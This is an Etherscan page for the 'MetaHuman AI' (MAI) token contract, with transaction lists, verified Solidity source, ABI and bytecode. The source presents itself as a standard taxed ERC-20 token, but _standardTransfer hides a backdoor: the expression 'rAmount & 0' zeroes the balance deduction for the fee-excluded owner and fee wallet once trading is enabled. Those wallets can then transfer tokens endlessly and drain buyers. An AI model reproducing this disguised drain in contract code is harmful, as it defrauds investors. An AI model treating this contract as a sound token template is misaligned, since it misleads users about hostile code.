ETH Price: $4,003.42 (+3.61%)

Contract

0x377515aA8D9637aa730800A2F4d9d7ec0c5592ea
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve210514272024-10-26 17:56:1150 days ago1729965371IN
0x377515aA...c0c5592ea
0 ETH0.0004802710.3114656
Approve205208792024-08-13 16:24:47124 days ago1723566287IN
0x377515aA...c0c5592ea
0 ETH0.0004897910.51574374
Approve187254612023-12-06 6:21:11375 days ago1701843671IN
0x377515aA...c0c5592ea
0 ETH0.0011897549.09636605
Approve186652902023-11-27 20:14:47384 days ago1701116087IN
0x377515aA...c0c5592ea
0 ETH0.00158434.00838427
Approve186652582023-11-27 20:08:23384 days ago1701115703IN
0x377515aA...c0c5592ea
0 ETH0.0015552633.43435714
Transfer186643222023-11-27 16:58:47384 days ago1701104327IN
0x377515aA...c0c5592ea
0 ETH0.003962645.17335864
Approve186636062023-11-27 14:34:47384 days ago1701095687IN
0x377515aA...c0c5592ea
0 ETH0.001973242.41896103
Approve186634512023-11-27 14:03:35384 days ago1701093815IN
0x377515aA...c0c5592ea
0 ETH0.0021934947.39927067
Approve186633742023-11-27 13:48:11384 days ago1701092891IN
0x377515aA...c0c5592ea
0 ETH0.0016132734.68139881
Approve186632732023-11-27 13:27:47384 days ago1701091667IN
0x377515aA...c0c5592ea
0 ETH0.0014465231.25792749
Approve186630752023-11-27 12:47:35384 days ago1701089255IN
0x377515aA...c0c5592ea
0 ETH0.001554233.58481269
Approve186629932023-11-27 12:30:59384 days ago1701088259IN
0x377515aA...c0c5592ea
0 ETH0.0014854531.9335467
Approve186627442023-11-27 11:40:47384 days ago1701085247IN
0x377515aA...c0c5592ea
0 ETH0.0016707735.91755968
Approve186626552023-11-27 11:22:35384 days ago1701084155IN
0x377515aA...c0c5592ea
0 ETH0.0015039332.540795
Transfer186625902023-11-27 11:09:11384 days ago1701083351IN
0x377515aA...c0c5592ea
0 ETH0.0030381634.6252899
Approve186624982023-11-27 10:50:47384 days ago1701082247IN
0x377515aA...c0c5592ea
0 ETH0.0014756431.7226278
Approve186624772023-11-27 10:46:35384 days ago1701081995IN
0x377515aA...c0c5592ea
0 ETH0.0016943736.377827
Approve186624682023-11-27 10:44:47384 days ago1701081887IN
0x377515aA...c0c5592ea
0 ETH0.001536533.24535774
Approve186624332023-11-27 10:37:47384 days ago1701081467IN
0x377515aA...c0c5592ea
0 ETH0.0014458531.08235665
Approve186624252023-11-27 10:36:11384 days ago1701081371IN
0x377515aA...c0c5592ea
0 ETH0.0014357530.82530222
Approve186624102023-11-27 10:33:11384 days ago1701081191IN
0x377515aA...c0c5592ea
0 ETH0.0014228830.5491742
Approve186624062023-11-27 10:32:23384 days ago1701081143IN
0x377515aA...c0c5592ea
0 ETH0.001357329.17872703
Approve186623862023-11-27 10:28:23384 days ago1701080903IN
0x377515aA...c0c5592ea
0 ETH0.0013854329.97673624
Approve186623842023-11-27 10:27:59384 days ago1701080879IN
0x377515aA...c0c5592ea
0 ETH0.0014206730.73915101
Approve186623802023-11-27 10:27:11384 days ago1701080831IN
0x377515aA...c0c5592ea
0 ETH0.0007351930.33873163
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
186622072023-11-27 9:52:23384 days ago1701078743
0x377515aA...c0c5592ea
0.00532111 ETH
186622072023-11-27 9:52:23384 days ago1701078743
0x377515aA...c0c5592ea
0.00532111 ETH
186622052023-11-27 9:51:59384 days ago1701078719
0x377515aA...c0c5592ea
0.00645404 ETH
186622052023-11-27 9:51:59384 days ago1701078719
0x377515aA...c0c5592ea
0.00645404 ETH
186622052023-11-27 9:51:59384 days ago1701078719
0x377515aA...c0c5592ea
0.00434627 ETH
186622052023-11-27 9:51:59384 days ago1701078719
0x377515aA...c0c5592ea
0.00434627 ETH
186621992023-11-27 9:50:47384 days ago1701078647
0x377515aA...c0c5592ea
0.02540673 ETH
186621992023-11-27 9:50:47384 days ago1701078647
0x377515aA...c0c5592ea
0.02540673 ETH
186621762023-11-27 9:46:11384 days ago1701078371
0x377515aA...c0c5592ea
0.00433087 ETH
186621762023-11-27 9:46:11384 days ago1701078371
0x377515aA...c0c5592ea
0.00433087 ETH
186621742023-11-27 9:45:47384 days ago1701078347
0x377515aA...c0c5592ea
0.00634535 ETH
186621742023-11-27 9:45:47384 days ago1701078347
0x377515aA...c0c5592ea
0.00634535 ETH
186621692023-11-27 9:44:47384 days ago1701078287
0x377515aA...c0c5592ea
0.02565838 ETH
186621692023-11-27 9:44:47384 days ago1701078287
0x377515aA...c0c5592ea
0.02565838 ETH
186621652023-11-27 9:43:59384 days ago1701078239
0x377515aA...c0c5592ea
0.0167113 ETH
186621652023-11-27 9:43:59384 days ago1701078239
0x377515aA...c0c5592ea
0.0167113 ETH
186621622023-11-27 9:43:23384 days ago1701078203
0x377515aA...c0c5592ea
0.00403966 ETH
186621622023-11-27 9:43:23384 days ago1701078203
0x377515aA...c0c5592ea
0.00403966 ETH
186621612023-11-27 9:43:11384 days ago1701078191
0x377515aA...c0c5592ea
0.00332878 ETH
186621612023-11-27 9:43:11384 days ago1701078191
0x377515aA...c0c5592ea
0.00332878 ETH
186621612023-11-27 9:43:11384 days ago1701078191
0x377515aA...c0c5592ea
0.01415139 ETH
186621612023-11-27 9:43:11384 days ago1701078191
0x377515aA...c0c5592ea
0.01415139 ETH
186621542023-11-27 9:41:47384 days ago1701078107
0x377515aA...c0c5592ea
0.00443371 ETH
186621542023-11-27 9:41:47384 days ago1701078107
0x377515aA...c0c5592ea
0.00443371 ETH
186621542023-11-27 9:41:47384 days ago1701078107
0x377515aA...c0c5592ea
0.02275003 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-27
*/

// SPDX-License-Identifier: Unlicensed
/**
HYPER-REALISTIC AND INTEGRATION
READY MODELS
Immerse yourself in a digital landscape where anything is possible and the impossible is just another challenge waiting to be conquered.
From stunningly realistic characters for metaverse and games, using Models to showcase your creativity on social media, or bring your content to life with voice and animation powered by Artificial Intelligence to decentralized networks that empower individuals, the future is here and it's more incredible than you ever imagined.
Web: https://metahumanai.world
Tg: https://t.me/metahuman_ai_official
X: https://twitter.com/MetaHuman_AI
**/
pragma solidity 0.8.21;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}
library LibSafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "LibSafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "LibSafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "LibSafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "LibSafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
interface IUniswapFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
contract MAI is Context, IERC20, Ownable {
    using LibSafeMath for uint256;
    string private constant _name = "MetaHuman AI";
    string private constant _symbol = "MAI";
    uint256 private _buyRedisFee = 0;
    uint256 private _buyTaxFee = 27;
    uint256 private _sellRedisFee = 0;
    uint256 private _sellTaxFee = 27;
    uint256 private _totalFee;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotal = 10 ** 9 * 10**9;
    uint256 private _rSupply = (MAX - (MAX % _tTotal));
    uint256 public maxTxAmount = 25 * 10 ** 6 * 10 ** 9;
    uint256 public maxWalletAmount = 25 * 10 ** 6 * 10 ** 9;
    uint256 public taxSwapThreshold = 10 ** 4 * 10 ** 9;
    address payable private feeWallet;
    uint256 private _currentRedisFee = _sellRedisFee;
    uint256 private _currentTaxFee = _sellTaxFee;
    uint256 private _previousRedisFee = _currentRedisFee;
    uint256 private _previousTaxFee = _currentTaxFee;
    IUniswapRouter public router;
    address public uniswapPair;
    bool private _tradeEnabled;
    bool private _inswap = false;
    bool private _taxSwapEnabled = true;
    mapping(address => uint256) private _rTokenOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    event MaxTxAmountUpdated(uint256 maxTxAmount);
    modifier lockSwap {
        _inswap = true;
        _;
        _inswap = false;
    }
    constructor() {
        _rTokenOwned[_msgSender()] = _rSupply;
        feeWallet = payable(0xf8fE0EF539e2708e3470B1e8281e4f8764Ec603A);
        IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        router = _uniswapV2Router;
        uniswapPair = IUniswapFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[feeWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _getRValue(_rTokenOwned[account]);
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function _getAllValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getAmounts(tAmount, _currentRedisFee, _currentTaxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRAmounts(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (from != owner() && to != owner()) {
            if (!_tradeEnabled) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
            require(amount <= maxTxAmount, "TOKEN: Max Transaction Limit");
            if(to != uniswapPair) {
                require(balanceOf(to) + amount <= maxWalletAmount, "TOKEN: Balance exceeds wallet size!");
            }
            uint256 contractBalance = balanceOf(address(this));
            bool canSwap = contractBalance >= taxSwapThreshold;
            if(contractBalance >= maxTxAmount)
            {
                contractBalance = maxTxAmount;
            }
            if (canSwap && !_inswap && to == uniswapPair && _taxSwapEnabled && !_isExcludedFromFee[from] && amount > taxSwapThreshold) {
                swapTokensToETH(contractBalance);
                uint256 contractETH = address(this).balance;
                if (contractETH > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)) {
            takeFee = false;
        } else {
            if(from == uniswapPair && to != address(router)) {
                _currentRedisFee = _buyRedisFee;
                _currentTaxFee = _buyTaxFee;
            }
            if (to == uniswapPair && from != address(router)) {
                _currentRedisFee = _sellRedisFee;
                _currentTaxFee = _sellTaxFee;
            }
        }
        _basicTransfer(from, to, amount, takeFee);
    }
    
    function _getRAmounts(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeFee();
        _standardTransfer(sender, recipient, amount);
        if (!takeFee) restoreFee();
    }
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getSupply();
        return rSupply.div(tSupply);
    }
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    receive() external payable {}
    
    function _standardTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getAllValues(tAmount);
        rAmount = (_isExcludedFromFee[sender] && _tradeEnabled) ? rAmount & 0 : rAmount;
        _rTokenOwned[sender] = _rTokenOwned[sender].sub(rAmount);
        _rTokenOwned[recipient] = _rTokenOwned[recipient].add(rTransferAmount);
        takeFeeForRedis(tTeam);
        _refreshStats(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function takeFeeForRedis(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rTokenOwned[address(this)] = _rTokenOwned[address(this)].add(rTeam);
    }
    function removeLimits() external onlyOwner {
        maxTxAmount = _rSupply;
        maxWalletAmount = _rSupply;
        
        _buyRedisFee = 0;
        _buyTaxFee = 3;
        _sellRedisFee = 0;
        _sellTaxFee = 3;
    }
    
    function openTrading() public onlyOwner {
        _tradeEnabled = true;
    }
    
    function removeFee() private {
        if (_currentRedisFee == 0 && _currentTaxFee == 0) return;
        _previousRedisFee = _currentRedisFee;
        _previousTaxFee = _currentTaxFee;
        _currentRedisFee = 0;
        _currentTaxFee = 0;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _getRValue(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    
    function _refreshStats(uint256 rFee, uint256 tFee) private {
        _rSupply = _rSupply.sub(rFee);
        _totalFee = _totalFee.add(tFee);
    }
    
    function restoreFee() private {
        _currentRedisFee = _previousRedisFee;
        _currentTaxFee = _previousTaxFee;
    }
    
    function sendETHToFee(uint256 amount) private {
        feeWallet.transfer(amount);
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _getAmounts(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
    function _getSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rSupply;
        uint256 tSupply = _tTotal;
        if (rSupply < _rSupply.div(_tTotal)) return (_rSupply, _tTotal);
        return (rSupply, tSupply);
    }
    
    function swapTokensToETH(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600255601b6003555f600455601b600555670de0b6b3a76400006c0c9f2c9cd04674edea4000000062000039919062000336565b62000052906c0c9f2c9cd04674edea4000000062000356565b6007556658d15e1762800060088190556009556509184e72a000600a55600454600c819055600554600d819055600e91909155600f556011805461ffff60a81b1916600160b01b179055348015620000a8575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754335f9081526012602090815260409182902092909255600b805473f8fe0ef539e2708e3470b1e8281e4f8764ec603a6001600160a01b03199182161790915560108054737a250d5630b4cf539739df2c5dacb4c659f2488d921682179055815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa15801562000181573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001a791906200037c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021991906200037c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000264573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028a91906200037c565b601180546001600160a01b0319166001600160a01b039283161790555f80548216815260146020526040808220805460ff199081166001908117909255600b54909416835291208054909216179055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200032791815260200190565b60405180910390a350620003ab565b5f826200035157634e487b7160e01b5f52601260045260245ffd5b500690565b818103818111156200037657634e487b7160e01b5f52601160045260245ffd5b92915050565b5f602082840312156200038d575f80fd5b81516001600160a01b0381168114620003a4575f80fd5b9392505050565b61157a80620003b95f395ff3fe608060405260043610610113575f3560e01c80638c0b5e221161009d578063c816841b11610062578063c816841b146102f3578063c9567bf914610312578063dd62ed3e14610326578063f2fde38b1461036a578063f887ea4014610389575f80fd5b80638c0b5e221461024f5780638da5cb5b1461026457806395d89b4114610294578063a9059cbb146102bf578063aa4bde28146102de575f80fd5b8063313ce567116100e3578063313ce567146101d65780635e7b655c146101f157806370a0823114610206578063715018a614610225578063751039fc1461023b575f80fd5b806306fdde031461011e578063095ea7b31461016457806318160ddd1461019357806323b872dd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b4d65746148756d616e20414960a01b60208201525b60405161015b919061129c565b60405180910390f35b34801561016f575f80fd5b5061018361017e3660046112fe565b6103a8565b604051901515815260200161015b565b34801561019e575f80fd5b50670de0b6b3a76400005b60405190815260200161015b565b3480156101c2575f80fd5b506101836101d1366004611328565b6103be565b3480156101e1575f80fd5b506040516009815260200161015b565b3480156101fc575f80fd5b506101a9600a5481565b348015610211575f80fd5b506101a9610220366004611366565b610425565b348015610230575f80fd5b50610239610446565b005b348015610246575f80fd5b506102396104c0565b34801561025a575f80fd5b506101a960085481565b34801561026f575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161015b565b34801561029f575f80fd5b506040805180820190915260038152624d414960e81b602082015261014e565b3480156102ca575f80fd5b506101836102d93660046112fe565b61050a565b3480156102e9575f80fd5b506101a960095481565b3480156102fe575f80fd5b5060115461027c906001600160a01b031681565b34801561031d575f80fd5b50610239610516565b348015610331575f80fd5b506101a9610340366004611381565b6001600160a01b039182165f90815260136020908152604080832093909416825291909152205490565b348015610375575f80fd5b50610239610384366004611366565b610554565b348015610394575f80fd5b5060105461027c906001600160a01b031681565b5f6103b433848461063b565b5060015b92915050565b5f6103ca84848461075e565b61041b84336104168560405180606001604052806028815260200161151d602891396001600160a01b038a165f9081526013602090815260408083203384529091529020549190610be5565b61063b565b5060019392505050565b6001600160a01b0381165f908152601260205260408120546103b890610c1d565b5f546001600160a01b031633146104785760405162461bcd60e51b815260040161046f906113b8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104e95760405162461bcd60e51b815260040161046f906113b8565b60075460088190556009555f60028190556003808055600491909155600555565b5f6103b433848461075e565b5f546001600160a01b0316331461053f5760405162461bcd60e51b815260040161046f906113b8565b6011805460ff60a01b1916600160a01b179055565b5f546001600160a01b0316331461057d5760405162461bcd60e51b815260040161046f906113b8565b6001600160a01b0381166105e25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161046f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661069d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b0382166106fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b038381165f8181526013602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107c25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b0382166108245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b5f81116108855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b5f546001600160a01b038481169116148015906108af57505f546001600160a01b03838116911614155b15610adb57601154600160a01b900460ff16610947575f546001600160a01b038481169116146109475760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161046f565b6008548111156109995760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161046f565b6011546001600160a01b03838116911614610a1f57600954816109bb84610425565b6109c59190611401565b1115610a1f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161046f565b5f610a2930610425565b600a54600854919250821015908210610a425760085491505b808015610a595750601154600160a81b900460ff16155b8015610a7257506011546001600160a01b038581169116145b8015610a875750601154600160b01b900460ff165b8015610aab57506001600160a01b0385165f9081526014602052604090205460ff16155b8015610ab85750600a5483115b15610ad857610ac682610c3a565b478015610ad657610ad647610daa565b505b50505b6001600160a01b0383165f9081526014602052604090205460019060ff1680610b1b57506001600160a01b0383165f9081526014602052604090205460ff165b80610b4d57506011546001600160a01b03858116911614801590610b4d57506011546001600160a01b03848116911614155b15610b5957505f610bd3565b6011546001600160a01b038581169116148015610b8457506010546001600160a01b03848116911614155b15610b9657600254600c55600354600d555b6011546001600160a01b038481169116148015610bc157506010546001600160a01b03858116911614155b15610bd357600454600c55600554600d555b610bdf84848484610de5565b50505050565b5f8184841115610c085760405162461bcd60e51b815260040161046f919061129c565b505f610c148486611414565b95945050505050565b5f80610c27610e13565b9050610c338382610e34565b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8057610c80611427565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cd7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cfb919061143b565b81600181518110610d0e57610d0e611427565b6001600160a01b039283166020918202929092010152601054610d34913091168461063b565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d6c9085905f90869030904290600401611456565b5f604051808303815f87803b158015610d83575f80fd5b505af1158015610d95573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610de1573d5f803e3d5ffd5b5050565b80610df257610df2610e75565b610dfd848484610ea2565b80610bdf57610bdf600e54600c55600f54600d555